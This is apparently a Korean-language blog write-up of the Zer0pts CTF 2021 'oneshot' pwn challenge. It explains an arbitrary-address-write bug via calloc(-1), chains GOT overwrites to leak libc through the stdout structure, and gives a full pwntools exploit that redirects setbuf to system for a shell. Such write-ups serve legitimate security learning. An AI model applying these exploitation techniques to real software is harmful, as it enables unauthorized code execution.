[CTF write up] Zer0pts CTF 2021 - oneshot : 안전하지 않은 반환 값으로 인한 임의의 주소 쓰기(AAW) 취약점

2022. 2. 10. 03:01CTF write up

원래는 DEF CON이나 CODEGATE의 문제를 분석하려고 했는데 난이도가 상당한데다 기존의 포너블 문제와는 다른 면이 꽤 있어서 그나마 쉽고 문제가 전부 공개된 Zer0pts CTF의 문제를 분석하려고 한다. Zer0pts CTF 2021의 문제들은 이곳에서 받을 수 있다. https://gitlab.com/zer0pts/zer0pts-ctf-2021

 

zer0pts / zer0pts CTF 2021

GitLab.com

gitlab.com

 

풀기전에 두개의 Write-up을 보았다. 하나는 opcode 깎기로 가젯을 창조(...)하는 띠용한 언인텐 풀이였고 다른 하나는 calloc이나 malloc이 라이브러리 주소를 반환하게 하는 버그를 이용했었다. 하여튼 두 방법을 이용하지 않고 또 다른 방법으로 풀어보려고 한다.

 

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
  int *arr = NULL, n = 0, i = 0;

  printf("n = ");
  scanf("%d", &n);
  if (n >= 0x100)
    exit(1);

  arr = calloc(n, sizeof(int));
  printf("i = ");
  scanf("%d", &i);

  printf("arr[%d] = ", i);
  scanf("%d", &arr[i]);
  puts("Done!");

  return 0;
}

__attribute__((constructor))
void setup() {
  alarm(60);
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
}

다음은 oneshot 바이너리의 c 소스다. calloc으로 힙 메모리를 할당받고 해당 메모리에 원하는 오프셋을 더한 메모리 주소에 메모리 쓰기가 가능하다. 여기서 calloc의 첫번째 인자로 -1을 주면 0을 반환받게 되고 임의의 주소 쓰기(AAW)가 가능하게 된다.

 

일단 puts@got를 main의 시작 주소로 옮겨 원하는 만큼 AAW를 가능하게 만드는 것으로 시작한다. 이후 ASLR 우회를 위해 라이브러리를 유출해야하기 때문에 바이너리 내에서 이를 유출할 수 있는 부분을 찾아야한다.

 

main+2f:
.text:0000000000400766                 lea     rax, [rbp+var_10]
.text:000000000040076A                 mov     rsi, rax
.text:000000000040076D                 lea     rdi, aD         ; "%d"
.text:0000000000400774                 mov     eax, 0
.text:0000000000400779                 call    ___isoc99_scanf
.text:000000000040077E                 mov     eax, [rbp+var_10]
.text:0000000000400781                 cmp     eax, 0FFh
.text:0000000000400786                 jle     short loc_400792
.text:0000000000400788                 mov     edi, 1          ; status
.text:000000000040078D                 call    _exit
setup:
.text:0000000000400844                 mov     rax, cs:stdout
.text:000000000040084B                 mov     esi, 0          ; buf
.text:0000000000400850                 mov     rdi, rax        ; stream
.text:0000000000400853                 call    _setbuf

위에서 언급했든 opcode 깎기와 calloc libc 반환 버그를 이용하지 않기로 했기 때문에 libc를 유출하기 위해서는 다른 방법을 찾아야 한다. 바이너리를 잘 분석해보니 scanf의 두번째 인자를 rax 레지스터에서 빼오는 것을 확인할 수 있었다. 즉, rax를 조작하고 해당 주소로 점프하면 임의의 메모리쓰기가 가능하다는 것이다. 그리고 아래에 setup 함수 내에서 rax에 stdout을 넣는 가젯을 찾아냈다. 바로 밑에서 setbuf 함수를 실행하고 있기 때문에 GOT Overwrite를 이용하여 0x40076A로 점프하면 stdout 구조체에 메모리 쓰기를 할 수 있게 된다!

 

stdout 구조체에서 flag를 건들지 않고 그 뒤에 Null 바이트를 다른 바이트로 채워주면 setbuf 함수를 printf로 오버라이트 했을때 stdout 구조체에 있는 stdout+131 주소가 유출되게 된다. 하지만 scanf %d로는 4바이트 쓰기 제한이 있기 때문에 flag 뒤에 Null 바이트를 덮어쓰지 못한다...

 

여기서 이 바이너리의 역할을 다시금 생각해본다면 힌트를 얻을 수 있게 된다. 이 바이러니가 하는 일은 할당 받은 heap 주소에 "오프셋"을 붙인 메모리 값에 메모리 쓰기를 하는 것이다.

.text:000000000040079F                 call    _calloc
.text:00000000004007A4                 mov     [rbp+var_8], rax

calloc의 반환 값은 rax 레지스터에 저장되고 이는 다시 스택에 저장된다! setup 함수 내에서 rax에 stdout 주소를 넣고 setbuf를 0x4007A4로 덮어쓰면 calloc으로 할당받은 힙 주소가 stdout의 주소인 것 처럼 바이너리를 동작시킬 수 있다. 그리고 오프셋 1(4bytes)를 붙여 메모리 쓰기를 하면 stdout 구조체의 flag 뒤에 있는 Null 바이트를 성공적으로 지워버릴 수 있다. 

 

이후 setbuf@got를 출력함수로 바꿔 stdout+131 주소를 유출하고 다시 setbuf@got를 system 함수로 덮어쓴 다음 rax 조작으로 setbuf의 인자로 /bin/sh를 주면 성공적으로 익스플로잇 할 수 있게 된다.

 

안타깝게도 위에서 너무 많은 점프를 해버려서 스택에 더미 값이 계속 쌓였기 때문에 onegadget은 작동하지 않는다. 또한 그냥 바로 system 실행할 경우 스택 정렬 문제로 터져버리기 때문에 alarm@got를 setbuf 직전 mov rdi, rax로 옮긴 상태에서 push rbp를 건너뛰고 setup+1로 이동해서 스택 주소를 맞춰줘야 한다.

 

정리하자면 다음과 같다.

1. puts@got -> main
2. exit@got -> mov rax, cs:stdout / call setbuf
3. setbuf@got -> mov [rbp+var_8], rax (calloc return value)
4. Input_1: 255, Input_2: 1, Input_3: 0xfffffff7 : stdout -> 0xfffffff7fbad2887
5. setbuf@got -> printf@plt
6. exit@got -> setup+1 (pass 'push rbp' for stack alignment)
7. Input: 255 -> stdout+131 memory address leaked!
8. bss+8 -> '/bin/sh' or 'sh'
9. setbuf@got -> system
10. alarm@got -> mov rdi, rax / call setbuf
11. Input_1 : bss+8 -> EXPLOIT!

 

 

 

from pwn import *

p = process('chall')

def goo(a, b):
    p.sendlineafter(b'= ', b'-1')
    p.sendlineafter(b'= ', str(a))
    p.sendlineafter(b'= ', str(b))

goo(int(0x601018/4),4196151) # puts@got -> main
goo(int(0x601048/4),0x400844) # exit@got -> mov rax, cs:stdout
goo(int(0x601020/4),0x4007A4) # setbuf@got -> mov [rbp+var_8], rax
goo(int((0x601020+4)/4),0x0) # setbuf@got -> mov [rbp+var_8], rax

p.sendlineafter(b'= ', b'256')
p.sendlineafter(b'= ', b'1')
p.sendline(str(u64(p64(0xfffffff7))))

goo(int(0x601048/4),0x400822) # exit@got -> setup
goo(int(0x601020/4),0x400606) # setbuf@got -> printf@plt
p.sendlineafter(b'= ', b'256')

lic = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
stdout = lic - 131
libc_base = stdout - 0x2dc620 - 0x110140
onegadget = libc_base + 0x4f3d5

print(f'lic : {hex(stdout)}')
print(f'libc_base : {hex(libc_base)}')

p.sendlineafter(b'= ', b'1')
p.sendlineafter(b'= ', b'1')

goo(int(0x601048/4),0x400823) # exit@got -> setup+1
goo(int(0x601068/4),0x6873) # bss -> sh (/bin/sh)

system = libc_base + 0x4f550

system_1  = str(hex(system))
system_1 = system_1[2:len(system_1)]
system_2 = system_1[4:len(system_1)]
system_1 = system_1[0:4]

print(f'system : {hex(system)} = {system_1} + {system_2} ( {int(system_1,16)} + {int(system_2,16)} )')

goo(int(0x601020/4),int(system_2,16)) # setbuf@got -> system
goo(int((0x601020+4)/4),int(system_1,16)) # setbuf@got -> system

goo(int(0x601030/4),0x40083C) # alarm@got -> mov rdi, rax / call setbuf
goo(int((0x601030+4)/4),0x0) # alarm@got -> mov rdi, rax / call setbuf

raw_input()
p.sendlineafter(b'= ', str(0x601068))

p.interactive()

setbuf@got -&amp;amp;amp;amp;gt; system

calloc 반환 버그로 라이브러리 유출하는 게 아니라면 정말 머리 굴리도록 강요하는 좋은 문제였다...